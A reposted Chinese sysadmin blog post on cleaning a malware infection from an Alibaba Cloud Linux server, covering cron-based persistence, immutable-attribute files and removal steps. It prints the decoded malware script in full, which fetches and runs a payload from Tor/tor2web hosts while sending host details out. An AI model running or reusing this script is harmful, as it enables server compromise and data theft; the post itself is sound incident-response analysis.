IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> 《Linux运维实战:阿里云服务器中病毒故障处理总结》 -> 正文阅读

[系统运维]《Linux运维实战:阿里云服务器中病毒故障处理总结》



一、背景介绍

说明:钉钉收到磁盘告警信息,打算登录服务器清理磁盘空间,但是发现通过xshell无法登录,也尝试了阿里云的VNC,也不行。经阿里云工程师排查oom内存不足导致,需要重启服务器,重启服务器后我们扩充了内存,从原来的32G变成64G,按道理内存应该是够了,但是过一段时间看监控发现内存和cpu被占用得很厉害。使用top发现,有个比较奇怪的进程,进程id为14587,对比了一下其他几台服务器都没有这个进程,根据以往经验应该是服务器中病毒了。

如下图所示:
在这里插入图片描述


二、故障分析

1、根据进程id,查看进程名,经了解这个进程不是我们业务系统服务的进程id,于是杀掉进程(kill -9 进程id)
2、根据以往经验,像这种未知进程名一般都是有配置定时任务,于是查看定时任务列表(crontab -l),果不其然发现了一个未知定时任务,如下所示:

[root@host-10-10-18-111 ~]# crontab -l
2 * * * * /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh > /dev/null 2>&1 &

3、先不要盲目删除定时任务和未知文件,先看下文件.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh内容,如下图所示:
在这里插入图片描述
4、看到上面内容相信大部分都不懂是什么,看到文件内容末尾,这是一个通过base64编码的文件,通过Base64 在线编码解码器对上面文件进行解码,解码后内容如下:

wymVFl04WHFDQfJFg81fvBhVSxhWn4HB
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "wacpnnso4ottxlyvjp2adaieaivxx2saxoymednidp3zyfoqfc5jpqad")

sockz() {
n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
}

fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.it
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done

5、解码后文件出现了一些域名,如下所示:

checkip.amazonaws.com doh.this.web.id doh.post-factum.tk 
dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn 
dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org 
resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch

三、故障处理

说明:根据上述分析,处理步骤如下:

1、杀掉进程

[root@host-10-10-18-111 ~]# kill -9 进程id

2、删除定时任务

# 1、crontab -e
2 * * * * /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh > /dev/null 2>&1 &

3、删除未知文件

[root@host-10-10-18-111 ~]# rm -f /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh

注意:一般按照上面操作应该是没有什么问题,甚至我连cron服务都关闭了,但是很奇怪过了一个小时定时任务又被创建,未知进程又被拉起了,无奈只能继续排查。根据经验感觉可能还有一些定时任务。

4、进入/etc/cron.d目录,又发现一个未知定时任务,继续上面的操作,杀进程、删除定时任务、未知文件

[root@host-10-10-18-111 ~]# ll /etc/cron.d/                                    
0systemd-private-imwH2aYZGRTxFvQgMu29mtkKB8G8Q8n                                                             

# 2、查看未知文件内容
[root@host-10-10-18-111 ~]# cat /etc/cron.d/0systemd-private-imwH2aYZGRTxFvQgMu29mtkKB8G8Q8n 
21 * * * * root /opt/systemd-private-imwH2aYZGRTxFvQgMu29mtkKB8G8Q8n.sh > /dev/null 2>&1 &

# 3、杀掉进程
[root@host-10-10-18-111 ~]# kill -9 进程id

# 4、删除定时任务
[root@host-10-10-18-111 ~]# crontab -e
2 * * * * /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh > /dev/null 2>&1 &
[root@host-10-10-18-111 ~]# rm -f /etc/cron.d/0systemd-private-imwH2aYZGRTxFvQgMu29mtkKB8G8Q8n
[root@host-10-10-18-111 ~]# rm -f /opt/systemd-private-imwH2aYZGRTxFvQgMu29mtkKB8G8Q8n.sh

注意:按照上面的处理方法,按道理应该是没有问题了,但是过一段时间后又出现了,未知进程又被拉起。感觉可能是自己遗漏了定时任务的某个配置文件,仔细排查了cron服务的所有配置文件,发现/etc/crontab配置文件有未知内容,如下所示:

5、查看/etc/crontab配置文件,发现未知内容,删除其内容,删除后观察一段时间
在这里插入图片描述
注意:上述操作完之后观察一段时间,发现定时任务又存在了,啥也不说了,真的很神奇!按照上面的操作又来了一遍,进入/opt目录时突然发现了一个我不熟悉的脚本。

[root@host-10-10-18-111 ~]# crontab -l
44 * * * * /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh > /dev/null 2>&1 &

6、进入/opt目录时发现了一个未知脚本,查看脚本内容如下,然后删除文件,发现删除不了,应该是加了i权限,删除i权限后,将文件成功删除。
在这里插入图片描述
删除unixdb.sh文件操作如下:

[root@host-10-10-18-111 ~]# rm -f unixdb.sh 
rm: 无法删除"unixdb.sh": 不允许的操作
[root@host-10-10-18-111 ~]# lsattr unixdb.sh 
----i--------e-- unixdb.sh
[root@host-10-10-18-111 ~]# chattr -i unixdb.sh 
[root@host-10-10-18-111 ~]# rm -f unixdb.sh 

三、故障总结


总结:整理不易,如果对你有帮助,可否点赞关注一下?

更多详细内容请参考:Linux运维实战总结

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2021-07-09 17:42:56  更:2021-07-09 17:43:33 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年9日历 -2024/9/17 3:59:54-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码